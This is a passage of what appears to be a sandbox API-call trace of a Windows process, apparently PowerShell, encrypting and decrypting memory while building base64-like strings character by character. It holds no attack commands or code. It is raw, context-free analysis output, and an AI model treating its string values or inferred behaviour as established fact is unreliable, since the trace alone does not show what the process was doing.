MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.339] SysStringLen (param_1="D7wYaHMSZ5hon7 ῿") returned 0x10 [0243.339] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.339] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄⾕♈驹蓞把ۻ頫") returned 0x10 [0243.339] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄⾕♈驹蓞把ۻ頫") returned 0x10 [0243.340] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.340] SysStringLen (param_1="D7wYaHMSZ5hon7y῿") returned 0x10 [0243.340] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.340] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄ꕼᲁ审⥒ﾦԕ현") returned 0x10 [0243.340] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄ꕼᲁ审⥒ﾦԕ현") returned 0x10 [0243.340] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.340] SysStringLen (param_1="D7wYaHMSZ5hon7yg") returned 0x10 [0243.340] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.340] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖") returned 0x10 [0243.340] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖") returned 0x10 [0243.340] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖") returned 0x10 [0243.341] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖") returned 0x18 [0243.341] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.341] SysStringLen (param_1="D7wYaHMSZ5hon7ygf囆閇풟섿ꂆ߭") returned 0x18 [0243.341] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.341] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖枉뛷羰紏毁艅욻") returned 0x18 [0243.341] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖枉뛷羰紏毁艅욻") returned 0x18 [0243.341] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.341] SysStringLen (param_1="D7wYaHMSZ5hon7ygfT閇풟섿ꂆ߭") returned 0x18 [0243.341] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.342] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖㰩솷죏΃ᓎ⍒ዱ") returned 0x18 [0243.342] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖㰩솷죏΃ᓎ⍒ዱ") returned 0x18 [0243.342] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.342] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq풟섿ꂆ߭") returned 0x18 [0243.342] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.342] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖膙꜁ฬი痬⎧첹┳") returned 0x18 [0243.342] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖膙꜁ฬი痬⎧첹┳") returned 0x18 [0243.342] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.342] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6섿ꂆ߭") returned 0x18 [0243.342] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.342] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖Ꮞ嬛ਖᐉ쵍Ϡ⚿犞") returned 0x18 [0243.342] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖Ꮞ嬛ਖᐉ쵍Ϡ⚿犞") returned 0x18 [0243.342] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.343] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6zꂆ߭") returned 0x18 [0243.343] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.343] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖僷崷ے쎅㻞枂䅆찷") returned 0x18 [0243.343] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖僷崷ے쎅㻞枂䅆찷") returned 0x18 [0243.343] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.343] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6zn߭") returned 0x18 [0243.343] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.343] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖꒷겕飲皝\廝ॄ朓∌) returned 0x18 [0243.343] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖꒷겕飲皝\廝ॄ朓∌) returned 0x18 [0243.343] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.343] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF߭") returned 0x18 [0243.343] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.343] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖묺㜜뀢扭ট姈ꍦ夆") returned 0x18 [0243.343] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖묺㜜뀢扭ট姈ꍦ夆") returned 0x18 [0243.344] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.344] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7") returned 0x18 [0243.344] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.344] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者") returned 0x18 [0243.344] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者") returned 0x18 [0243.344] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者") returned 0x18 [0243.344] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者") returned 0x20 [0243.344] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.345] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7c䟫\탙ⷔ끶䓤㸡≍) returned 0x20 [0243.345] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.345] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者㊻䝔⒪蜃揆㦎ዤ") returned 0x20 [0243.345] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者㊻䝔⒪蜃揆㦎ዤ") returned 0x20 [0243.345] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.345] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP\탙ⷔ끶䓤㸡≍) returned 0x20 [0243.345] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.345] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者띁ꈫ辖뇸᠈ᕞ嶿") returned 0x20 [0243.345] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者띁ꈫ辖뇸᠈ᕞ嶿") returned 0x20 [0243.345] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.345] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7퓐瘭⅄䴾") returned 0x20 [0243.345] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.346] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者嫯ốꉚ窮⣐㠲ꗏ眪") returned 0x20 [0243.346] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者嫯ốꉚ窮⣐㠲ꗏ眪") returned 0x20 [0243.346] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.346] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7u瘭⅄䴾") returned 0x20 [0243.346] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.346] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者䢱뮯鉇唫纠뙵䪺") returned 0x20 [0243.346] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者䢱뮯鉇唫纠뙵䪺") returned 0x20 [0243.346] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.346] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uy⅄䴾") returned 0x20 [0243.346] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.346] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者媽䢭⅕嵉낯ﲍ᎓멷") returned 0x20 [0243.346] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者媽䢭⅕嵉낯ﲍ᎓멷") returned 0x20 [0243.346] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.347] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyB⅄䴾") returned 0x20 [0243.347] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.347] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者㶯\鏙嶫늽帒䣾谫≉) returned 0x20 [0243.347] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者㶯\鏙嶫늽帒䣾谫≉) returned 0x20 [0243.347] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.347] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBG䴾") returned 0x20 [0243.347] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.347] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\ꗛࢊ\៛徰㊀붝㚮") returned 0x20 [0243.347] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\ꗛࢊ\៛徰㊀붝㚮") returned 0x20 [0243.347] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.347] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGi") returned 0x20 [0243.347] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.347] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠⊍) returned 0x20 [0243.348] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠⊍) returned 0x20 [0243.348] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠⊍) returned 0x20 [0243.348] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠⊍) returned 0x28 [0243.348] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.348] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiT஍䵫ｖ낅꛺") returned 0x28 [0243.348] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.348] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠떍뿗湢⦳駊蝄䪏읡⋚) returned 0x28 [0243.348] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠떍뿗湢⦳駊蝄䪏읡⋚) returned 0x28 [0243.348] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.349] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTG஍䵫ｖ낅꛺") returned 0x28 [0243.349] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.349] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠覍쑐⸌\㯜ཊⱎ⏜೅") returned 0x28 [0243.349] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠覍쑐⸌\㯜ཊⱎ⏜೅") returned 0x28 [0243.349] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.349] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTGu䵫ｖ낅꛺") returned 0x28 [0243.349] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.349] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠ᒍ䗈ꈝ얯莚⃅ᓏퟚ∊) returned 0x28 [0243.349] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠ᒍ䗈ꈝ얯莚⃅ᓏퟚ∊) returned 0x28 [0243.349] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.350] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTGuB䵫ｖ낅꛺") returned 0x28 [0243.350] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.350] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠醍稈찕ᝎ圚蘟鄔濢⊤) returned 0x28 [0243.350] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠醍稈찕ᝎ圚蘟鄔濢⊤) returned 0x28 [0243.350] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.350] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTGuB1ｖ낅꛺") returned 0x28 [0243.350] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.350] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠認慓꫽斖処\㿝ԙ") returned 0x28 [0243.350] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠認慓꫽斖処\㿝ԙ") returned 0x28 [0243.350] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.351] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTGuB14낅꛺") returned 0x28 [0243.351] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.351] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠劍\狚᰿钼ﱾḂ") returned 0x28 [0243.351] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠劍\狚᰿钼ﱾḂ") returned 0x28 [0243.351] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.351] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTGuB14b꛺") returned 0x28 [0243.351] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.351] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠掍膂嬇䃼깪\숬䫬") returned 0x28 [0243.351] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠掍膂嬇䃼깪\숬䫬") returned 0x28 [0243.351] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.351] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTGuB14b0") returned 0x28 [0243.351] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.352] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱≰) returned 0x28 [0243.352] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱≰) returned 0x28 [0243.352] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱≰) returned 0x28 [0243.352] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱≰) returned 0x30 [0243.352] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0243.352] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTGuB14b03ͫ짓鯳重숏뵥") returned 0x30 [0243.353] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0243.353] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱ᅰ뉺ﹳ鯥守싣≫) returned 0x30 [0243.353] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱ᅰ뉺ﹳ鯥守싣≫) returned 0x30 [0243.353] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0243.353] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTGuB14b03l짓鯳重숏뵥") returned 0x30 [0243.353] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0243.353] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱䅰恵\ꫜF죒蓸䕈㽔") returned 0x30 [0243.353] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱䅰恵\ꫜF죒蓸䕈㽔") returned 0x30 [0243.353] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0243.353] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTGuB14b03lE鯳重숏뵥") returned 0x30 [0243.353] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0243.353] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱ᑰ\觛䢨힀䟮篢僢") returned 0x30 [0243.353] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱ᑰ\觛䢨힀䟮篢僢") returned 0x30 [0243.354] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0243.354] SysStringLen (param_1="D7wYaHMSZ5hon7ygfTq6znF7cP7uyBGiTGuB14b03lE=重숏뵥") returned 0x30 [0243.354] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0243.354] EtwEventActivityIdControl () returned 0x0 [0243.354] EtwEventActivityIdControl () returned 0x0 [0243.354] EtwEventActivityIdControl () returned 0x0 [0243.355] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.355] EtwEventActivityIdControl () returned 0x0 [0243.355] EtwEventActivityIdControl () returned 0x0 [0243.355] EtwEventActivityIdControl () returned 0x0 [0243.356] SysStringLen (param_1="") returned 0x8 [0243.356] SysStringLen (param_1="N") returned 0x8 [0243.356] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.356] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0243.356] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0243.356] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.356] SysStringLen (param_1="ND") returned 0x8 [0243.357] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.357] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0243.357] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0243.357] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.357] SysStringLen (param_1="NDZ") returned 0x8 [0243.357] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.357] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0243.357] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0243.357] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.357] SysStringLen (param_1="NDZl") returned 0x8 [0243.357] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.357] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0243.357] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0243.358] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.358] SysStringLen (param_1="NDZlO") returned 0x8 [0243.358] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.358] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0243.358] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0243.358] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.358] SysStringLen (param_1="NDZlOD") returned 0x8 [0243.358] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.358] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0243.358] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0243.358] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.359] SysStringLen (param_1="NDZlODR") returned 0x8 [0243.359] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, 